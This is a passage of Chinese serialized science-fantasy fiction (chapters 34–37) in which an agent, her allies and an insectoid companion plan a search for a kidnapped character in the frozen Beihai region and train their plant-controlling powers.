那身熟悉的装扮渐渐明了,看清女人外貌的一瞬间,祝吟辰的心骤然沉底,她紧紧盯着那个女人,按在扳机上的手指一点点加重。
这里怎么会有执行官?
34.计划已定,将去北海
看来这里的情况实际上比她想象中的要更复杂,祝吟辰扣紧扳机,紧紧盯着眼前陌生的执行官,脑中思绪有些混乱。
离回溯的时间不多了,无论执行官来到这里的背后原因是什么,她只能选择最简洁有效的方式去处理。
那就是……
按在扳机上的手指一点点压下去,祝吟辰眼底渐显出几分狠戾,下定决心,她果断按下——
就在子弹即将射出的前一秒,一旁的原本还畏畏缩缩的女孩突然扑上来,死死抱住祝吟辰的大腿,大喊道:“快跑啊!”
一时有些茫然的执行官顿时回过神来,慌忙地抱起头趴下,子弹险险地擦着她的头部飞过,她赶紧就地一滚,躲到门后,抱紧了手里的枪,脑海里混乱的一片,身体也不禁微微颤抖起来。
祝少校怎么会在这里?
等等,周婋还在她那里!
执行官倒吸一口凉气,一时心急如焚,竟然慌不择路地探出半个脑袋,正要喊些什么,下一秒她的耳朵就擦过一枪!
血液四溅,巨大的耳鸣响起,眼前一阵阵地发黑,她用左手捂住耳朵,坚持着扶着墙站起身,勉强踉跄了几步,却还是控制不住一头栽倒下去。
莫名其妙,知道自己晕血又贫血就还来干什么执行官……
恍惚间,想起前上司说过的这句话,执行官心底不禁升起几分悔恨和不甘。
就这样结束了吗,死在一个素未谋面的星际特工手里……
意识混乱间,她隐隐约约听到大厅里传来的女孩的恳求,“……她已经被辞退了,根本就不是在任执行官,根本威胁不到……我发誓……求求你……”
“她这次只是来找我的,我保证,只要你放过我们,我可以和你合作!”女孩死死抱住祝吟辰的腿,不顾头上被枪托砸出的伤痕,“你不是要找那个雌虫吗,带她去北海的那几个人身上有我私下安装的追踪器,我一个人就可以告诉你他们在哪里!”
祝吟辰看着女孩这份诚心又可怜的样子,即使此时时间再紧急迫切,心中也难免生出了几分不忍。
她放下手中的枪,板着脸,冷冷问道:“你在他们身上安装了追踪器?”
“没错,我原本想接些私活,卖点额外的情报给别家……”女孩凄惨地无奈一笑,“但是没事,现在这些情报都免费给你,追踪器的钱我也不要了,只要你愿意放过我们两个!”
“我凭什么信你?”
“他们的坐标三秒一刷新,我随时随地可以监视,不信你看!”女孩连忙松开手,在书包里一顿翻找,掏出一支市面上学生常用的万能笔。
她举起笔,对着祝吟辰信誓旦旦地说道:“芯片就藏在这里面,识别器在我宿舍里,只要你肯跟我到宿舍里走一趟,我马上就给你调出来他们的坐标!”
祝吟辰冷冷一笑,枪口再次对准门口,直指已经老老实实趴在地上的执行官,“我没这个时间。”
就在扳机即将再次按下的一刹那,女孩再次猛扑上来,死死抱住祝吟辰的大腿,哭丧着脸大喊道:“别打,别打,我想起来了,我想起来了!这里也有识别器,就在大厅后面的工作室里!”
祝吟辰不为所动,女孩见她行事实在果断,只好站起身,大迈步跑向工作室的方向,“我给你把识别器拿过来行了吧,别开枪,别开枪啊!”
祝吟辰心底叹一口气,现在的年轻女孩年纪不大,一个比一个会耍脑筋。
比如屠一鸿……
等等,屠一鸿!
祝吟辰眼前一亮,对啊,屠一鸿这段时间恐怕已经在北海了,既然阿图特也被运到北海附近,现在只要她联络上屠一鸿,再和眼前的这个滑头女孩一合作,从线上追踪和线下搜寻,天时地利,找到阿图特的几率将大大增加!
但屠一鸿有权利调动萧衍的人手吗?
算了,这不是她该考虑的问题。
屠一鸿这个人,名不见经传的,刚好在她回溯这一天夜里,莫名其妙地出现在她的生活中,又因某种未知的理由,和阿努特纳星甚至她的驻地联系在一起,用那种诡异的手段强行与她合作,实在给她带来了很多的烦恼。
恐怕就奕川所说的,在雨夜里被萧衍气得离家出走,因而被奕川带到小公寓里来这件事,也是屠一鸿暗中操作的表象罢了。
屠一鸿这个人,恐怕远远比她看上去的样子更为疯狂。
既然她这么有手段,就把该怎么调动人手的烦恼扔给她吧。
祝吟辰看着女孩抱着识别器跑过来,一只手在手腕上拨通屠一鸿的电话,另一只手用手势示意女孩不要出声,女孩只好低下头,赶紧操作芯片,调动追踪进程。
电话响了一分多钟,终于接通,屠一鸿那边似乎是在忙些什么,隐隐约约听见酒会的音乐声,然后是门轻轻关上的声音,屠一鸿的声音响起:“我记得这个时间您应该去找奕川女士她们,祝上校。”
这人甚至暗中调查了她的回溯日程,祝吟辰简直有些气笑了,她表面镇静不动,口中的话却暗暗多了几分威胁的意味:“你要求的人,我已经调动人手在找了,只不过——”
电话那头意料之外地冷静:“出了什么意外吗?”
“不错,现在出了一件事,我需要你的帮忙。”
“我记得当初是祝上校单方面请求要帮我的忙,我从未提出要付出任何合作。”电话那头的声音听起来礼貌又冷血。
“屠启会替你求我。”
“……”
电话那头暂时陷入了沉默,祝吟辰察觉小腿有什么东西扒拉了一下,她低下头,看见女孩捧起识别器,上面浮动着几个全息屏幕,正在实时显示数个目标坐标的移动数据。
她俯下身子,看见上面显示的各项数据,变化似乎都很正常,北海的3D俯视地图似乎也像模像样,底部还有AGPC大学城的特殊研发标识,看起来是内部意外流出的产品。
总之,看起来不像是黑市上用来蒙骗别人的假模型,就是实时更新的真实数据。
祝吟辰点了点头,抬起手腕,示意女孩将私人联系方式交给自己,又指了指门口的执行官。
女孩大喜过望,连忙将手中识别器碰上,交上电子名片,又爬起来跑向门口。
祝吟辰看着识别器上显示的联系方式的实名人像,确认了确实是女孩的样子没错,她放下心来,站起身,向电话那头问道:“怎么样,考虑清楚了吗?”
电话那头似乎笑了一下,气氛顿时有些微妙起来,祝吟辰还是第一次感受到对方真实的情绪,心中不禁多了几分自信的把握。
她看了一眼时间,还有四十分钟。
“我时间不多,直接跟你说吧,你照着去做就行。”趁对面短时间内暂时想不到反制的手段,祝吟辰索性先开口,“我要你在北海找几个装备精良的人,在北海搜索一个……女人,她的名字叫阿图特,前阵子你来奕川她们的小公寓的时候也见过她,还记得吗?。”
在屠一鸿面前,能少一个把柄就尽量不要多说,不管雨夜那天屠一鸿有没有看出来,她还暂时不想暴露阿图特的雌虫身份。
电话那头几乎没有什么犹豫,“记得,可以。”
“那就这样吧,下次回溯的时候,有屠启的消息我会第一时间传给你。”祝吟辰挂断电话,转身径直向门口走去,心中却隐隐约约有些不详的预感。
她是不是忘记了什么来着?
门口的执行官已经消失了,看来女孩已经带着她跑了,这似乎不是什么大事,但是她总觉得有什么事情怪怪的——
“您漏了个喽啰,祝少校。”
意料之外的声音在身后传来,祝吟辰心中一惊,转过身,看向小门里突然出现的陈立新……和她身后低头站着的凌风。
看到手里的男人已经被揍得晕了过去,陈立新松开手,看向门口的祝吟辰,语气中带着一丝埋怨,“唉,我不是说过,小公寓这块都归我管吗,发生了什么事情,肯定要第一时间找我啊,怎么能绕过我来处理事情?”
祝吟辰见凌风面上愧疚难堪的样子,知道事情已经败露,只好说道:“我记得已经跟你说过今天暂时有事情,不能去公寓了。”
“您是说过了,但他没有啊。”
陈立新瞥了一眼凌风,耸了耸肩,接着说道:“前几天,这小子就一副神神秘秘的样子,今天早上他居然还翘课了,阿图特又莫名其妙说要独自出去玩,中午您又说不来了,这么多巧合,我很难不多想啊。”
“……”
祝吟辰一时有些语塞,看来不好应付的年轻女孩里面,还得再加一个陈立新。
凌风似乎是想了许久,突然抬起头,打破了尴尬的气氛:“祝少校,您刚才在电话里说的,我们都听到了,您有线人在北海的话,可不可以让我也跟着他们去找阿图特,我过几天
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就要跟着安教授去北海勘察了,正好要和萧少校交接,我保证,一人做事一人当,这次我一定把阿图特给您找回来!”
祝吟辰皱了皱眉头,语气也严厉起来,“你知不知道北海是多么恶劣艰险的地方?你作为学生,跑到北海是为了勘察学术,不是为了送死!”
凌风似乎还要再说些什么,却被祝吟辰斩钉截铁地打断,“我已经安排了专业的人手去找阿图特,你既没有装备,又没有实力,就不要冲动了,老老实实等我的消息就好。”
凌风低下了头,眼底却还闪着不甘。
陈立新点了点头,附和道:“确实,凌风,你就老老实实待在安教授身边吧。”
但下一秒,她紧接着补充道:“所以祝少校,请您安排一下,让我加入找阿图特的队伍吧。”
祝吟辰眉头皱得更紧,正要说些什么,陈立新却大踏步上前,越过她走出大门,说道:“时间不多了,您先上车吧,我送您去实验室,咱们路上聊。”
……
祝吟辰坐上后座,凌风也不甘心地跟着上了车,一会儿看看祝吟辰,一会儿看看陈立新,似乎是在等她们两个商量好后,自己再争取机会。
陈立新发动车辆,不紧不慢地开口:“我听到你们说的,阿图特在黑环眼皮子底下暴露后,又被光明正大地送去了北海,而北海现在是萧衍的地盘,这一点,你们不觉得奇怪吗?”
祝吟辰心中一惊,原本打算劝诫陈立新留下的话堵在喉咙里,重重地沉了下去,疑惑和不安随之涌上心头。
没错,屠一鸿的事情太过古怪棘手,她心里想的太处心积虑,反而使得她忽略了北海真正的统治者,萧衍。
如果刚才那个滑头女孩所说的一切都是真的,恐怕阿图特背后所涉及的实验,跟萧衍有很大的关系,而就刚才电话里屠一鸿的表现来看,这项实验大概正被萧衍所隐瞒着,连身边最亲近的女人也不肯透露。
难为他那种脑子居然能瞒得住屠一鸿那么精明的人……
但是,萧衍抓阿图特来做什么?
无人区特遣部队一向不干涉生物实验相关的东西,北海作为前线,连专业的医生都难得找到几个,哪里来的动机去找阿努做实验?
一切都太过古怪,难以想通,除非,她遗漏了什么重要的线索。
祝吟辰还在苦思冥想,陈立新却再次开口道:“萧衍既然选择了和我们红派合作,我们就有调查合作对象风险的权力。而我作为公寓一带的总负责人,手下发生了这种下属失职,雌虫俘虏丢失的事,自然有前去调查和挽救的义务。”
凌风突然抬起头来,不满地盯着陈立新,“她不是俘虏!”
“她是。”陈立新面色平静,车开得很稳,波澜不惊地接着说道:“还有,明天早上8点半,准时来公寓领取你的内部处罚。”
不顾凌风接下来愤怒的反驳,陈立新在后视镜里看向祝吟辰,后者始终一言不发,似乎是因她的话陷入了沉思,还在斟酌考虑。
见状,陈立新决定下一把猛药。
她开口道:“对了,凌风过几天要去的那个北海调研小队,里面有红派内部的高层领头人物,如果阿图特或者萧衍弄出点什么意外,红派有规避风险的权力。所以,请求您帮助我进入搜寻阿图特的小队,也是您作为红派合作方的义务。”
凌风惊讶地瞪大眼睛,看着陈立新,一时间慌了神,看来这个娄子远比他想象的要更大。
见陈立新态度坚决,祝吟辰知道现在不是阻拦安不安全的时候,只好暗下决心,相信她的能力。
“好吧。”
凌风见祝吟辰点了头,连忙凑过头来,问道:“那我呢?我作为红派内部成员,同样有保护高层的义务啊!”
祝吟辰还来不及拒绝,陈立新率先发表了命令:“你跟着我一起去,在外多个自己人,多一份保险。我们先加入安教授的调研小队,再找机会跟祝少校找的人接头。”
凌风面露喜色,下一秒却黯淡下来,犹豫着看向祝吟辰,祝吟辰没有什么长辈的架子,只觉得现在的年轻人真是一个比一个有主意,只好无奈地点了点头。
“那么,祝少校,离我们到实验室还有三分钟,请您现在再联系一下跟我们接头的人吧。”陈立新一边说着,脸上不自觉地浮起一个微笑。
她倒要看看,北海那头,萧衍到底在背着她们在做些什么阴谋。
35.欲窥旧时事,将往她处去
无人区,北海。
萧衍一大早就出去办事了,屠一鸿找了个头疼的借口,留在家属区里,静静地等待安之恒她们的到来。
每个月,上邦因为学术调研等各种需要,来北海进行请求交涉的教授和实验室流水般来来去去,数不胜数,因此一般都由专人来接待,用不着萧衍操心,何况他还不知道安之恒她们她们在红派的身份,更没有来这里亲自监督的理由。
风和日丽,一轮暖阳高悬于天空之上,是漫漫冬日里难得的暖意。
屠一鸿坐在家属楼后院的荷池边上,一边小口小口地抿着花茶,一边悄悄瞥着附近接待大楼里排出来的长队。
大学城里刚放了寒假,正值考察的旺季,来的人因此格外地多。
领头的导师由专人接待着进去了,留下来的学生们都提着东西,三三两两地等在门口。
她等了不一会儿,一个女孩突然穿过队伍,朝这边走来。
屠一鸿没有动,她来的时候就已经把后院的门打开了。
果然,女孩走到门前,先是有些犹豫地试探着,慢慢拉开了大门,四处张望着,似乎是确定了她的衣着样貌,步履逐渐坚定,飞快地向她跑来。
“哇,果然是你啊!”
陈立新惊讶地看着屠一鸿,坐到她对面,忍不住感叹道:“好久不见,上次见到你还是几个月前了,没想到你们已经开始交好了啊。”
屠一鸿知道她在说祝吟辰,微微一笑,“她主动提出要帮我找妈妈,帮了我很多,我很感激她。”
陈立新点点头,“原来如此。”
虽然不算太熟,但在无人区能见到第二个认识的人,她心中实在轻松了许多,多一份力量,多一份希望。
陈立新慢慢放松下身体,轻轻靠在椅背上,屠一鸿静静地坐在位置上,垂下眼睫,慢慢地搅动杯子中未融化的糖,似乎是在等待她先开启话题。
见状,陈立新抬起手腕,准备开始商量正事,“对了,我们来这边的路上,黑环里合作的人已经把芯片传给我们了,坐标已经不动了,停在北海以南的森林边界处,你看一下。”
她站起身,走到屠一鸿边上,给她看悬浮屏上显示的位置。正如陈立新说的那样,五个坐标停在了距这里约三百公里处的原始森林附近,一个坐标则奇怪地脱离了它们,停在了距这里更近一些的废弃机场里,不知道是什么原因。
屠一鸿仔细地看着屏幕上的数据变化,神情若有所思,陈立新则继续说道:“安教授原定的考察范围不在这附近,所以我昨天晚上和凌风商量了一下,让他去申请了一个新的课题,尽量向这附近靠拢,到时候好找人。”
屠一鸿收回了视线,点了点头,“我知道了,我会找找在这附近巡逻的人,看有没有帮你们混进去的机会。”
陈立新也坐回位置上,认真地看着屠一鸿,语气诚恳,“那就拜托你了。”
“没事,”屠一鸿抿了口茶,脸上浮起一个淡淡的微笑,“你们后天晚上来萧家找我吧,我在二楼候客厅等你们。”
“谢啦,你人不错哦。”
陈立新正要再聊几句,却瞥见大门外,凌风远远地朝这边打手势,知道安教授要出来了,只好匆匆道别,急忙离去。
屠一鸿微笑着目送她离去。
一阵微风携着清冷花香拂过,她轻挽过耳间几缕发丝,露出一张白皙无暇的脸,看着远处的人群,眼底的深沉思绪一点点沉下去。
……
夜深了,屠一鸿坐在书桌前,抬头看了看时间,关闭了电脑,慢慢躺在靠椅上,闭上有些疲惫的眼睛,轻轻揉着额角,无奈地摇了摇头。
坐标显示的地方不难找,但在那里驻守的部队居然是萧衍身边亲信的队伍,她找了各种途径,然而根本没有可以通融的机会。
如果无法混入巡逻的队伍,她只能找找其他的办法了。
她静下心来想了想,视线蓦地触碰到阳台的花束。
那是几天前萧琛以祝生的名义送来的,当时酒会上人很多,都看着萧衍一下子黑了脸,强行把萧琛送来的礼物扔出了门,只有这一束花,被一个佣人悄悄送了进来。
她站起身,走到阳台边上,轻轻捧起花束,花香淡雅,边上的几片花瓣已有些皱了,里面插着一张精巧的贺卡,鎏金的字迹优雅流畅——“愿卿生辰悦,岁岁皆欢颜”。
屠一鸿看着这张贺卡,心里逐渐生成一个主意。
她立即转身冲出房间,跑到二楼阳台上,在隔间里拿了一个小巧的花盆,又小心翼翼地将一株长势喜人的植株栽种进去。
做好这一切后,她点开识别器,看了一下萧琛曾经发给她的讯息,找到想要的线索后,包好花盆,悄悄出了门。
方教授预定的房间离这里不算很远,屠一鸿坐了二十分钟左右的车,进入安排科研人员们暂居的住区,却在前台得知方教授并未登记在此入住,而是登记了别处的一所私人公寓。
看来这人是有些讲究的。屠一鸿心中明了几分,向前台道谢后,又马不停蹄地赶往公寓地点。
公寓所在的地方是北海最繁华的商业区,即使这里是无人区,人们依然由于各种需求,选择离开AGPC统治下的联合城邦,在外寻求商业发展——更低的原料和能源成本,避税,以及各种非法交易。
无人区特遣部队实际上不归AGPC统管,双方更多的是合作关系,也正是因为如此,十二主席里必须有一个内定的无人区首领席位,萧家的位置成了十二主席里的香饽饽,每时每刻都被觊觎,也怪不得萧家女主人洛岚如此焦急,家事和局势都还没稳定下来,就赶着三个儿子上位。
屠一鸿下车,只见繁华商业街上灯火通明,珠光宝气的富太太和小姐们来来往往,商店都敞着门,展示奢华富丽的店内装潢。
远离AGPC冰冷机械的城市架构,这里还延续着战前那种精致富足的社会面貌,每一样器物,连同街上的花坛,都是保养很好的老古董。
一身白色纱裙,捧着包装朴素的礼物,屠一鸿显得和这里格格不入,她微微低着头,穿过熙然的人群,进入了装修奢华的公寓。
进入前台,面对上下打量着自己,显得有些不屑的服务员,她默默递上名片,服务员挑着眉毛,用两根手指夹过来,扫了一眼,立即变了脸,笑容温柔又甜蜜,“屠小姐,请问您要——”
“624号房间,”屠一鸿脸上浮起一个礼貌的微笑,“可以带我去见一下里面的客人吗?”
上了六楼,她先差遣服务员离开,见四下无人了,轻轻敲响房间的门。
“谁?”房间里传来一个沙哑尖细的女人声音,又低低咳嗽了几声。
“您好,我是萧教授的学生,屠一鸿。”
听到这话,房内的女人一时陷入了沉默,晾了屠一鸿好一会儿,才慢吞吞地打开门。
屠一鸿静静地站在门外,眼前的人不请,她也不擅自进去,说道:“很早之前就知道方老师您在生物学领域的威名,我在萧教授那里问了很多关于您的事情,一直很希望可以找一个机会,做您的学生。”
眼前的女人轻轻皱起眉头,眼神里充满了打量试探的意味,原本高扬的下巴微微放低了些。
屠一鸿轻轻递出怀中包装好的花种,看着
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女人的眼神澄澈诚恳,继续说道:“我这次来是想想您举荐我的队伍的,我们准备了很久的课题,前几天刚刚通过,听说您刚好也来这边了,我们的选址还正好就在您的考察范围附近,如果可以的话,我想请您给我们一个机会,希望得到您的建议,如果您不方便的话,也希望不要给老师造成多余负担,我们也会继续努力把研究做下去。”
方听澜看着眼前的少女,一头乌黑的长发略有些散乱,单薄纱裙裙角染了些深夜的雾气,白皙秀气的脸微抬着,两点目珠如水仙花缸底的黑石子,有些茫然地望着自己。
她原以为只是个小小年纪就在萧家浑水摸鱼,只知道招男人喜欢的小人,如今见到,似乎更像是个不谙世事的瓷娃娃。
方听澜心里叹了口气,那点警惕和嫌弃也渐有些消融,竟还生出些怜悯的心思。
她转身走进房间,轻轻打了个哈欠,“进来吧。”
屠一鸿进入房间,关上门,乖乖坐在沙发上,怀里还抱着那盆花。
方听澜走到厨台边上,斜扫过来一眼,屠一鸿立即起身,将东西放在茶几上,过去倒水端茶。
等她走过来,方听澜已经仔细端详了那盆花好一会儿,她端上茶水,方听澜摆摆手,示意她放下,眼睛盯着未开的花苞,发出一声赞叹,“你挺有天赋啊,小姑娘。”
植株并非是北海这边的品种,似乎是更接近南方的草本植物,并不耐寒,对于土壤的酸碱性和水分都有着细致苛刻的要求,不是好养活的品种,然而它在少女的手下养得极好,花瓣和叶子都富有光泽,娇嫩细腻,实属上品。
且不说这盆花究竟养得如何,就算她抽点时间陪这少女玩玩,随便指点几句,也算是卖萧琛一个人情,来日再来北海考察,也在萧衍面前行得方便。
“我只是努力运用了您发表出来的知识。”屠一鸿坐回原来的位置,看着方听澜,眼里满是关切,“北海这边气候寒冷,我明天找几个可靠的医生来看看您。”
方听澜摇了摇头,慢慢收回视线,“不妨事,明天就启程,不用这些小事耽搁。”
她端起茶水润润嗓子,慢慢放松身体,后靠垫子,盯住屠一鸿的眼睛,“你和你的小队明天早上去机构报我的名,我们下午就走,做事速度点,凡事要主动。”
“是,谢谢教授!”屠一鸿急忙道谢,见方听澜再次抿了口茶,垂下眉睫默不作声的样子,知道自己该走了,连忙站起身,礼貌地道别后,迅速离开公寓。
前台上前几步,正要恭恭敬敬地送这位深夜里突然出现的少女离开,却见关上的车窗突然摇下,少女坐在车内,朝她招了招手。
前台心中一惊,紧赶几步,在车窗前低俯下身子,等待指示,只听少女说了一句“找几个最好的医生,照顾好624房间的人。”
前台一愣,急忙应下,目送车辆疾驰而去。
屠一鸿关上车窗,闭上眼睛,慢慢放松紧绷了一天的身体。
祝吟辰交代的事情弄得差不多了,下一步,就是弄清那个阿图特到底是什么来头了。
早在之前的那个雨夜,即使是那样疏远的距离,她依然隐隐约约感觉到,那双躲闪的眼睛里,深不见底的地方,流转着熟悉的斑斓色彩,从那警惕的身体语言里,她察觉出一种秘密。
一个八年前,只有她和她的母亲,知晓的秘密。
她有预感,如果她对阿图特身份的猜测属实,那么屠启的行踪,与这趟针对阿图特的绑架,恐怕关系匪浅。
她知道屠启的性格,研究没有结束,她就不会放弃追查她们的下落。
所以这次,她不会置身事外。
36.欲听地下曲,愿知旧时事
“请进,二位。”
管家站在凌风跟前,优雅地一背手,让开身位。
凌风吓了一跳,看向身前的陈立新,她意外地一挑眉,径直转过身,向二楼走去。
见状,凌风礼貌地对管家露出一个微笑,赶紧跟上。
候客厅外等候的佣人将门打开,将他们迎进,将精致的茶点备好。
被人这样伺候着,凌风只觉得异常拘束,联合城邦里就没有见过这样矫揉造作的家风,有些尴尬地离陈立新坐近了一些,后者浑然不觉似的,反正都不认识,大家的关系都无关紧要,索性大口大口吃起来。
有些微妙的压抑气氛中,门外轻轻叩响了三下,佣人们知道是屠一鸿来了,都纷纷走出门外,将她迎进,彼此交换了一个眼神,又轻轻关好门,默默离开。
屠一鸿坐到室内二人对面,端起一杯花茶,轻轻搅动氤氲的热气,安安静静地等陈立新吞下一块蛋糕后,才开口交代了这两天的计划和安排。
凌风松了一口气,“总之找到办法就好,方教授在我们系里是出名的严厉,但她人其实还是不错的。”
陈立新放下叉子,微微皱起眉头,若有所思,“听起来,要在那个方教授那里混过去,需要很多心眼啊。”
屠一鸿点了点头,表示赞同。
陈立新拍拍凌风的肩膀,又看向屠一鸿,率先提议道:“我对生物一窍不通,你们两个倒是挺厉害,这样,接下来的时间,你们两个呢,一个负责在方教授那边周旋,报告实验进度,一个负责向安教授报告课题进度,顺便给我打个掩护,我呢,就负责每天拿着坐标在森林到机场一带搜查,一旦有什么线索,我们——哎对了,屠一鸿,你有识别器吗?”
屠一鸿微微一笑,有些遗憾地说道:“无人区不在AGPC的管辖下,没有袁立带头开发的城市共联体系,所以这里还保留着战前的联系方式,比如电脑和手机,有的时候,网络也不太好用。”
“这样啊,”陈立新微微后靠,想了一会儿,再次提议:“那我们每三天开一次名义上的小组会议怎么样?线下交流也不错,虽然风险可能稍微大了一点。”
凌风附和着点了点头,率先表示同意。
屠一鸿也点了点头。
见三方合作已成,陈立新高兴地站起来,猛地拍了一下凌风,示意对方站起来,又转头看向屠一鸿,眉眼笑的弯弯,眼眸如星,果断地伸出手,“那就这样决定了,接下来的时间,我们齐心协力,合作共赢!”
凌风见状,也礼貌地向屠一鸿伸出手。
“……”
屠一鸿看着面前的两只手,愣了一下,默默地放下花茶,站起身,左手送向凌风,右手则伸向陈立新的,三人都莫名其妙地互相拉着,一齐握了握手,活像拉着圈庆祝些什么。
场面一时有些奇妙的诙谐,三人都笑起来。
“她人还不错。”屠一鸿默默心想,唇角微微上扬,不自觉地牵起一个微笑。
……
再次从黑暗中苏醒,银白的眼眸慢慢睁开,渐感到身体的冷。
祝吟辰坐起身,揉了揉眼睛,望向洞口照进的光线,知道该进行今天的训练了。
她看了一眼身旁,安提不在,看来是迫不及待地早起去准备了。
祝吟辰打了个哈欠,走出洞口,火烧得正旺,安提坐在火堆边上,正在尝试一次性烤五六串肉,旁边还散落着一堆鳞果,看见她醒了,笑着招呼她过来吃。
祝吟辰走过去,在安提旁边坐下,火光温暖,在这个湿冷的清晨显得尤为珍贵。
她舒服地伸了一下懒腰,瞥见安提架在火上烤的似乎不仅仅是肉串,还有几个鳞果,几片可食用的植物,甚至还有几块努力捏成团子的菌落。
……这啥时候藏起来的,储存到现在还能吃吗?
祝吟辰有些啼笑皆非,想了想,还是由了她去,慢慢站起身,去小溪边上洗漱。
直到她洗漱收拾好,坐在火堆边上准备开吃,伊南娜都还没有到。
看来今天也要在白色天光最亮时,才能等到她了,祝吟辰默默心想,在心里叹了一口气。
伊南娜不像尼努尔塔一样严肃负责,尽管二虫是上下级关系,行事作风却截然不同,甚至恰恰相反 。
对于安提和祝吟辰的训练,这几天一直是随心所欲,无论是时间还是内容,都任由她们去,出奇地信任她们的能力。
烤得差不多了,安提递过来一串,祝吟辰还是有些好奇,尝试着咬了一口鳞果,味道居然还可以,酸酸甜甜的,口感像温热的奶油。
至于这保质期可疑的菌落,就算了吧。
安提等不了伊南娜多久,狼吞虎咽地吃饱喝足后,就开始忍不住拿起一颗鳞果,用意念控制其生长发育的形态,等祝吟辰吃好。
眼看着好端端的鳞果长得越来越猎奇自由,祝吟辰不得不三两口吃好,安提精神一振,拉着祝吟辰立刻马不停蹄地前往平时的训练地。
踏着积雪的草地,穿过重重树林,她们沿着溪流一路前行,视野逐渐开阔起来,一片湖沼出现在她们面前,湖水因为几处溪流的急速汇入,还未完全结冰,周边的树木已被伊南娜砍掉,只留下开阔平坦的雪地。
没了树木的阻挡,大片大片的雪花在这片地扑簌簌地落下,打着旋儿随风飞舞,扑到她们脸上,刺骨的寒意几乎要将身心都冻结。
但这不过是冥土极寒的九牛一毛,安提率先大踏步闯入此地,走到湖边上,深吸了一口气,静心凝神,很快就进入了状态。
祝吟辰也静下心来,停在原地伫立不动,向前伸出一只手,指尖慢慢溢出纯露的气息,四散入周际的虚空之中。
湖底迅速有了动静,湖中心开始剧烈地沸腾起来,一束巨藤窜出湖面,直冲安提冲来,安提闪身一避,反将植壁攀住,翻上巨藤顶上,她眼里闪着野心勃勃的光芒,要将这巨藤制服在自己的意志之下。
祝吟辰看着安提和巨藤搏斗的样子,微微一笑。
她和安提的训练内容从来不提前与对方商量,单凭猜测对方的意图。
以她自己的想法,以往是安提控制植物的生长和输出,而这次是她来随意催发植株的生长,无限制地增大纯露的输出,让安提来控制这些无主的植被,达到二虫分身合作,意念合一的效果。
正如上次安提在埃勒伽手下脱险的时候,就是她催动了冰中的植被生长膨胀,直接崩裂炸开冰冻的海浪,带着安提逃出生天。
然而不仅仅是这些,她相信这一次,她们可以做到的更多。
祝吟辰闭上眼睛,在心中默诵几句,四周土壤里的植物突然破土而出,或是从积雪下复活,无数植株歪七扭八地生长着,开花的开花,抽叶的抽叶,结果子的结果子,没有明确的攻击目标,只簇拥着窜天生长去。
安提高高地站在巨藤上,好不容易制服了它,让它随自己的心意走,地面就开始剧烈地抖动起来,连同湖底也微微颤动,疯狂生长的植被根系将冻结的土块顶起,一块块地涌动,彼此猛烈地碰撞着,犹如冥土之中,波涛汹涌海面上忽上忽下的片片浮冰。
这种意料之外的情况,安提愣了一两秒,似乎是没料到祝吟辰还想再加码,于是也加足
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干劲,命令身下的巨藤冲进底下的绿色浪涛,巨力猛地一荡,将大片植被扫去,扔到远处的树林中去。
安提就这样指挥着巨藤四处挥鞭了一会儿,她处在安全的湖中心之上,将四周扫得干干净净,植被都被甩了出去,露出地面混成一片的雪泥,看起来分外暴力,但成效显著。
不知道过了多久,安提渐渐感到有些不对劲了。
她施加的暴力效果确实不错,但底下的植被仿佛不死一般,被扫去一茬后接着一茬,源源不断地骚扰着她,有一下没一下地攻击着这边,尽管这点力度对于巨藤来说不过是隔靴抓痒,连一点刮伤都没有,然而一直这样下去,实在不是办法。
她纳闷地抬起头,望向远远站着的祝吟辰,后者对上她的视线,送来一个微笑,手上的动作却没停,源源不断的植被宛如波涛汹涌的绿色,还在一阵阵地簇拥着攻向这边。
一直这样耗下去,不是伊塔累死,就是自己累死,安提暗暗心想道,渐渐察觉到这样下去不是办法,伊塔大概有更进一步的想法,想要她去做到。
伊塔可以这样持续不断地催生植被,恐怕有透支自己能力的决心,这对她来说也是一种突破。
至于自己,除了更细致地集中身心,竭尽全力去控制更多植被的生长外,也许可以找到别的突破点,甚至出乎伊塔,连同她自己的预料。
这里有这么多的植物,都肆意地生长着,实际上已经节省了她的一部分力气,剩下来的只是与它们心意沟通的部分需要她去做。
如果彻底解放植物的生长,将其完全放给伊塔去做,只把命令植物的部分做到极致呢?
但如果甚至连命令植物都不去做,而是听凭它们自己的意愿,反将控制的权利让给它们呢?
到那时候,自己又能做些什么,或者……听到些什么呢?
安提想到这里,心神一荡,全身的血气都涌了上来,身心的疲惫一扫而空。
一想到接下来的事情将再次将自己置于生死存亡的险境之中,她就感到止不住的兴奋,身体微微颤抖起来,似乎□□畏惧于接下来的命运,比灵魂更感到恐惧。
自从她决意脱离虫群,自造天地的那一刻起,她就感到一种酣畅淋漓的痛快,无论是身体还是灵魂,都是实实在在属于她自己的东西,不再服务于任何她者,不再从属于任何一个阿努。
身体里的每一滴血,为她而流淌,每一滴眼泪,为她而落下,每一寸血肉,每一块骨头,每一声声嘶力竭的嘶吼……都只为她而创造,她完完全全拥有了自己。
这广阔天地间的一切事物,都是她要去争夺、去抢、去霸占的对象,但凡是她亲自用双足所丈量踏过的土地,就是她的国度,一步一步,都是她的,她所要命令的。
而此刻,她要倾听臣民的心愿。
种子啊,你尽可发芽吧,去抒发你的野心,要高高地升上天去,比飞鸟更高傲。
沙土啊,你快些起舞吧,让风儿都为你歌颂,沙沙响的,不要停歇,做你滔滔不绝的使者。
水流啊,为何沉寂于此?你可知四面沟壑,皆为你而造作,只渴望那清冽的、奔涌的……
祝吟辰渐渐感到有些力不从心了,指尖溢出的纯露也减少了一些。
她抹了一把脸上的汗珠,一抬头,望见巨藤突然不动了,连同站在上面的安提都停住了动作。
怎么了?
祝吟辰心生疑惑,还来不及思考可能发生的意外,却望见安提慢慢张开双手,闭上眼睛,退后一步,从高空的巨藤之上跌落,坠落冰冷刺骨的湖中!
“安提!”
37.我们徘徊旧地,寻找往日真迹
祝吟辰眼看着安提坠入冰湖中,心急如焚,正欲本能地冲上前营救,双足却被心中突如其来的想法死死钉在原地——安提这样做一定有她的想法,不必冲动。
祝吟辰喘着气,拼命使血气上涌的大脑冷静下来,她思考回忆着刚才的情形,确实是这样没错,安提看上去没有一点挣扎或惊恐的样子,反而是自愿掉入湖中的。
尽管这样做有生命危险,但安提不是那种有勇无谋的人,一定有什么非常重要的原因,才会让她选择冒这样的风险。
而自己要做的,就是顺她的心意来,静观其变,不要轻举妄动。
祝吟辰死死盯着冰湖中心的位置,指尖的纯露继续稳定地溢出,植被继续稳定地生长着,一点点将裸露的地面重新占据。
一秒、两秒……
祝吟辰打定主意,一分钟过去后,如果安提还不上来,她就跳进去救她。
